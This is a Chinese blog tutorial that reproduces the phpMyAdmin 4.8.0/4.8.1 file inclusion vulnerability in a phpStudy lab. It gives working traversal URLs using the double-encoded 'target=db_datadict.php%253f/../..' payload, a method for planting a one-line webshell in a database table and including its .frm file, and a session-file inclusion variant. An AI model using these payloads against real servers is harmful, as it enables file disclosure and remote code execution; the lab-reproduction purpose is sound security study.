如何理解phpMyAdmin文件包含漏洞复现


如何理解phpMyAdmin文件包含漏洞复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。phpMyAdmin 4.8.0phpMyAdmin 4.8.1phpstudy2018+phpmyadmin4.8.11.下载phpstudy2018然后删除自带的phpmyadmin下载地址:http://public.xp.cn/upgrades/PhpStudy2018.zip2.下载phpmyadmin4.8.1版本下载地址:https://www.phpmyadmin.net/files/3.把下载好的phpmyadmin放入phpstudy的www目录下重新命名4.在浏览器查看phpmyadmin的版本http://your-IP/phpmyadmin/README1.在浏览器打开phpmyadmin,需要使用账号登录进去 //略显鸡肋2.方法一、登录进去在首页输入以下payloadhttp://your-ip/phpMyAdmin/index.php?target=db_datadict.php%253f/../../../../../../../../Windowswin.ini3.在test数据库中创建一个表,然后在表中创建一个字段为一句话木马4.在受害机查看MySQL/data对应数据库下免费云主机域名生成一个frm文件是否写入进去,使用记事本打开5.使用文件包含,包含此路径下的文件http://your-ip/phpMyAdmin/index.php?target=db_datadict.php%253f/../../../../../../../../phpStudyPHPTutorialMySQLdatatestdemo.frm6.方法二、通过 phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。6.1、在最新sql语句的地方执行以下命令select ‘’;6.2、使用F12查看网站Session值,查看当前页面cookie中的phpmyadmin的值6.3、使用文件包含包含此目录下的Session值的URL路径1. 建议使用最新版本的phpmyadmin2. 使用复杂的账号密码看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注云编程开发博客行业资讯频道,感谢您对云编程开发博客的支持。

相关推荐: 虚拟内存的概念、特点以及虚拟内存的完成

上一节所评论辩论的各类内存治理战略多是为了同时将多个过程保管在内存中以便许可多道程序设计。它们都具有以下两个配合的特点:功课必需一次性全体装入内存后,方能开端运转。这会招致两种状况发作:看成业很大,不克不及全体被装入内存时,将使该功课无法运转;当少量功课请求运…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/02 16:45
下一篇 02/02 16:45